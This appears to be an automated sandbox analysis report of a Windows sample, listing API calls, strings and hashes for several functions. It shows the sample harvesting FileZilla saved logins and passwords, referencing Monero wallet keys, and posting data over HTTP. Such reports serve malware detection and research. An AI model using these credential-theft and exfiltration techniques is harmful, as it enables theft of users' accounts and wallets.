GetProcAddress.KERNEL32(76BE0000,0089CEB8), ref: 00F2A3FC
GetProcAddress.KERNEL32(76BE0000,0089CE58), ref: 00F2A414
GetProcAddress.KERNEL32(75670000,00886520), ref: 00F2A436
GetProcAddress.KERNEL32(75670000,0089CE70), ref: 00F2A44E
GetProcAddress.KERNEL32(75670000,0089CED0), ref: 00F2A466
GetProcAddress.KERNEL32(75670000,0089CEE8), ref: 00F2A47F
GetProcAddress.KERNEL32(75670000,0089CF00), ref: 00F2A497
GetProcAddress.KERNEL32(759D0000,008862A0), ref: 00F2A4B8
GetProcAddress.KERNEL32(759D0000,008864E0), ref: 00F2A4D1
GetProcAddress.KERNEL32(76D80000,00886560), ref: 00F2A4F2
GetProcAddress.KERNEL32(76D80000,0089C9C0), ref: 00F2A50A
GetProcAddress.KERNEL32(6F5D0000,00886580), ref: 00F2A530
GetProcAddress.KERNEL32(6F5D0000,008864A0), ref: 00F2A548
GetProcAddress.KERNEL32(6F5D0000,008862C0), ref: 00F2A560
GetProcAddress.KERNEL32(6F5D0000,0089CAF8), ref: 00F2A579
GetProcAddress.KERNEL32(6F5D0000,008865A0), ref: 00F2A591
GetProcAddress.KERNEL32(6F5D0000,00886620), ref: 00F2A5A9
GetProcAddress.KERNEL32(6F5D0000,00886640), ref: 00F2A5C2
GetProcAddress.KERNEL32(6F5D0000,00886280), ref: 00F2A5DA
GetProcAddress.KERNEL32(6F5D0000,InternetSetOptionA), ref: 00F2A5F1
GetProcAddress.KERNEL32(6F5D0000,HttpQueryInfoA), ref: 00F2A607
GetProcAddress.KERNEL32(75480000,0089C840), ref: 00F2A629
GetProcAddress.KERNEL32(75480000,00898980), ref: 00F2A641
GetProcAddress.KERNEL32(75480000,0089CAC8), ref: 00F2A659
GetProcAddress.KERNEL32(75480000,0089C810), ref: 00F2A672
GetProcAddress.KERNEL32(753B0000,008862E0), ref: 00F2A693
GetProcAddress.KERNEL32(6FF20000,0089CAE0), ref: 00F2A6B4
GetProcAddress.KERNEL32(6FF20000,008865C0), ref: 00F2A6CD
GetProcAddress.KERNEL32(6FF20000,0089CA50), ref: 00F2A6E5
GetProcAddress.KERNEL32(6FF20000,0089C930), ref: 00F2A6FD

Strings

HttpQueryInfoA, xrefs: 00F2A5FC
InternetSetOptionA, xrefs: 00F2A5E5

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2507c4a8c4551fc4e61c014e4b11fa1c7544437ddbe1eed888e98f937340febe
Instruction ID: 9eff8302a043a296565f7948c72c4944abcd4474751ceddcb6fecd84aa8dc93a
Opcode Fuzzy Hash: 2507c4a8c4551fc4e61c014e4b11fa1c7544437ddbe1eed888e98f937340febe
Instruction Fuzzy Hash: 4D62EAB5590740EFC36CDBA8F5989563BF9FF8C602714873AA7268324CD63A94C1DB60

Function 00F17710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F17724
RtlAllocateHeap.NTDLL(00000000), ref: 00F1772B
lstrcat.KERNEL32(?,008994E8), ref: 00F178DB
lstrcat.KERNEL32(?,?), ref: 00F178EF
lstrcat.KERNEL32(?,?), ref: 00F17903
lstrcat.KERNEL32(?,?), ref: 00F17917
lstrcat.KERNEL32(?,0089DE98), ref: 00F1792B
lstrcat.KERNEL32(?,0089DE38), ref: 00F1793F
lstrcat.KERNEL32(?,0089DF88), ref: 00F17952
lstrcat.KERNEL32(?,0089DF70), ref: 00F17966
lstrcat.KERNEL32(?,0089DFF8), ref: 00F1797A
lstrcat.KERNEL32(?,?), ref: 00F1798E
lstrcat.KERNEL32(?,?), ref: 00F179A2
lstrcat.KERNEL32(?,?), ref: 00F179B6
lstrcat.KERNEL32(?,0089DE98), ref: 00F179C9
lstrcat.KERNEL32(?,0089DE38), ref: 00F179DD
lstrcat.KERNEL32(?,0089DF88), ref: 00F179F1
lstrcat.KERNEL32(?,0089DF70), ref: 00F17A04
lstrcat.KERNEL32(?,0089E060), ref: 00F17A18
lstrcat.KERNEL32(?,?), ref: 00F17A2C
lstrcat.KERNEL32(?,?), ref: 00F17A40
lstrcat.KERNEL32(?,?), ref: 00F17A54
lstrcat.KERNEL32(?,0089DE98), ref: 00F17A68
lstrcat.KERNEL32(?,0089DE38), ref: 00F17A7B
lstrcat.KERNEL32(?,0089DF88), ref: 00F17A8F
lstrcat.KERNEL32(?,0089DF70), ref: 00F17AA3
lstrcat.KERNEL32(?,0089E0C8), ref: 00F17AB6
lstrcat.KERNEL32(?,?), ref: 00F17ACA
lstrcat.KERNEL32(?,?), ref: 00F17ADE
lstrcat.KERNEL32(?,?), ref: 00F17AF2
lstrcat.KERNEL32(?,0089DE98), ref: 00F17B06
lstrcat.KERNEL32(?,0089DE38), ref: 00F17B1A
lstrcat.KERNEL32(?,0089DF88), ref: 00F17B2D
lstrcat.KERNEL32(?,0089DF70), ref: 00F17B41
lstrcat.KERNEL32(?,0089E130), ref: 00F17B55
lstrcat.KERNEL32(?,?), ref: 00F17B69
lstrcat.KERNEL32(?,?), ref: 00F17B7D
lstrcat.KERNEL32(?,?), ref: 00F17B91
lstrcat.KERNEL32(?,0089DE98), ref: 00F17BA4
lstrcat.KERNEL32(?,0089DE38), ref: 00F17BB8
lstrcat.KERNEL32(?,0089DF88), ref: 00F17BCC
lstrcat.KERNEL32(?,0089DF70), ref: 00F17BDF
lstrcat.KERNEL32(?,0089E198), ref: 00F17BF3
lstrcat.KERNEL32(?,?), ref: 00F17C07
lstrcat.KERNEL32(?,?), ref: 00F17C1B
lstrcat.KERNEL32(?,?), ref: 00F17C2F
lstrcat.KERNEL32(?,0089DE98), ref: 00F17C43
lstrcat.KERNEL32(?,0089DE38), ref: 00F17C56
lstrcat.KERNEL32(?,0089DF88), ref: 00F17C6A
lstrcat.KERNEL32(?,0089DF70), ref: 00F17C7E

Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00F317FC), ref: 00F17606
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00000000), ref: 00F17648
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020, : ), ref: 00F1765A
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00000000), ref: 00F1768F
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00F31804), ref: 00F176A0
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00000000), ref: 00F176D3
Part of subcall function 00F175D0: lstrcat.KERNEL32(3576D020,00F31808), ref: 00F176ED
Part of subcall function 00F175D0: task.LIBCPMTD ref: 00F176FB

lstrcat.KERNEL32(?,0089E470), ref: 00F17E0B
lstrcat.KERNEL32(?,0089D3B8), ref: 00F17E1E
lstrlen.KERNEL32(3576D020), ref: 00F17E2B
lstrlen.KERNEL32(3576D020), ref: 00F17E3B

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: c3f37c7812e60d3d0af0f048a65b1203f86802a5c9493ac8dbfa7ef30c0391ec
Instruction ID: d56cf120830d0395d09922c49b1ad02301c1ec09ba200a6038330bb4885a47c1
Opcode Fuzzy Hash: c3f37c7812e60d3d0af0f048a65b1203f86802a5c9493ac8dbfa7ef30c0391ec
Instruction Fuzzy Hash: 8E321CB2840354ABCB25EBA0EC85DEE777CBB44741F044A98F21963084EE79E7C69F51

Function 00F20250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
Part of subcall function 00F199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
Part of subcall function 00F199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
Part of subcall function 00F199C0: ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
Part of subcall function 00F199C0: LocalFree.KERNEL32(00F1148F), ref: 00F19A90
Part of subcall function 00F199C0: CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

Part of subcall function 00F28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

GetProcessHeap.KERNEL32(00000000,000F423F,00F30DBA,00F30DB7,00F30DB6,00F30DB3), ref: 00F20362
RtlAllocateHeap.NTDLL(00000000), ref: 00F20369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00F20385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F20393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00F203CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F203DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00F20419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F20427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00F20463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F20475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F20502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F2051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F20532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F2054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00F20562
lstrcat.KERNEL32(?,profile: null), ref: 00F20571
lstrcat.KERNEL32(?,url: ), ref: 00F20580
lstrcat.KERNEL32(?,00000000), ref: 00F20593
lstrcat.KERNEL32(?,00F31678), ref: 00F205A2
lstrcat.KERNEL32(?,00000000), ref: 00F205B5
lstrcat.KERNEL32(?,00F3167C), ref: 00F205C4
lstrcat.KERNEL32(?,login: ), ref: 00F205D3
lstrcat.KERNEL32(?,00000000), ref: 00F205E6
lstrcat.KERNEL32(?,00F31688), ref: 00F205F5
lstrcat.KERNEL32(?,password: ), ref: 00F20604
lstrcat.KERNEL32(?,00000000), ref: 00F20617
lstrcat.KERNEL32(?,00F31698), ref: 00F20626
lstrcat.KERNEL32(?,00F3169C), ref: 00F20635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F30DB2), ref: 00F2068E

Strings

password: , xrefs: 00F205FB
login: , xrefs: 00F205CA
<Port>, xrefs: 00F203C6
browser: FileZilla, xrefs: 00F20559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00F202A4
profile: null, xrefs: 00F20568
<Pass encoding="base64">, xrefs: 00F2045A
url: , xrefs: 00F20577
<Host>, xrefs: 00F2037C
<User>, xrefs: 00F20410

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: b0122c34fd539a86f7a95b4322637ad00da7c8ff61e3235674549d408252029e
Instruction ID: 33a30b3d41fecdd573e17780c0dd82f27f66f57b6c210ed6b11b192296e3692d
Opcode Fuzzy Hash: b0122c34fd539a86f7a95b4322637ad00da7c8ff61e3235674549d408252029e
Instruction Fuzzy Hash: AAD14072940218ABCB04EBF0ED96EEE7778FF14300F444518F512A7085EF79AA46EB61

Function 00F15100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
Part of subcall function 00F147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

lstrlen.KERNEL32(00000000), ref: 00F15193

Part of subcall function 00F28EA0: CryptBinaryToStringA.CRYPT32(00000000,00F15184,40000001,00000000,00000000,?,00F15184), ref: 00F28EC0

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F15207
StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F15225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F15340
HttpOpenRequestA.WININET(00000000,0089E520,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F153A4

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0089E4E0,00000000,?,00899CF8,00000000,?,00F319DC,00000000,?,00F251CF), ref: 00F15737
lstrlen.KERNEL32(00000000), ref: 00F1574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00F1575C
RtlAllocateHeap.NTDLL(00000000), ref: 00F15763
lstrlen.KERNEL32(00000000), ref: 00F15778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F157A9
lstrlen.KERNEL32(00000000), ref: 00F157C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F157E1
lstrlen.KERNEL32(00000000,?,?), ref: 00F1580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F15822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F1584D
InternetCloseHandle.WININET(00000000), ref: 00F158B1
InternetCloseHandle.WININET(00000000), ref: 00F158BE
InternetCloseHandle.WININET(00000000), ref: 00F158C8

Strings

------, xrefs: 00F1563B
", xrefs: 00F155C4
------, xrefs: 00F154F9
------, xrefs: 00F153B7
", xrefs: 00F15482
------, xrefs: 00F15297
--, xrefs: 00F15280
", xrefs: 00F15706

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 1313dcd0b8b98e64facfea646131e78f275361e8b6a5b05a5ec646d35b590226
Instruction ID: 67cc0f2fb7572fb78432e7b8f302ed090b5eac614dd1fca7042bc59d15dfef38
Opcode Fuzzy Hash: 1313dcd0b8b98e64facfea646131e78f275361e8b6a5b05a5ec646d35b590226
Instruction Fuzzy Hash: 86322471921128EBDB14EBA0EC92FEE7378BF54700F404169F11667092EF786A89DF51

Function 00F1A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2AA70: StrCmpCA.SHLWAPI(00898810,00F1A7A7,?,00F1A7A7,00898810), ref: 00F2AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F1AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00F1AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00F1ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F1A8B0

Part of subcall function 00F2A820: lstrlen.KERNEL32(00F14F05,?,?,00F14F05,00F30DDE), ref: 00F2A82B
Part of subcall function 00F2A820: lstrcpy.KERNEL32(00F30DDE,00000000), ref: 00F2A885

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

lstrcat.KERNEL32(?,00000000), ref: 00F1ACEB
lstrcat.KERNEL32(?,00F31320), ref: 00F1ACFA
lstrcat.KERNEL32(?,00000000), ref: 00F1AD0D
lstrcat.KERNEL32(?,00F31324), ref: 00F1AD1C
lstrcat.KERNEL32(?,00000000), ref: 00F1AD2F
lstrcat.KERNEL32(?,00F31328), ref: 00F1AD3E
lstrcat.KERNEL32(?,00000000), ref: 00F1AD51
lstrcat.KERNEL32(?,00F3132C), ref: 00F1AD60
lstrcat.KERNEL32(?,00000000), ref: 00F1AD73
lstrcat.KERNEL32(?,00F31330), ref: 00F1AD82
lstrcat.KERNEL32(?,00000000), ref: 00F1AD95
lstrcat.KERNEL32(?,00F31334), ref: 00F1ADA4
lstrcat.KERNEL32(?,00000000), ref: 00F1ADB7
lstrlen.KERNEL32(?), ref: 00F1AE0D
lstrlen.KERNEL32(?), ref: 00F1AE1C

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

DeleteFileA.KERNEL32(00000000), ref: 00F1AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00F1ABD4

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

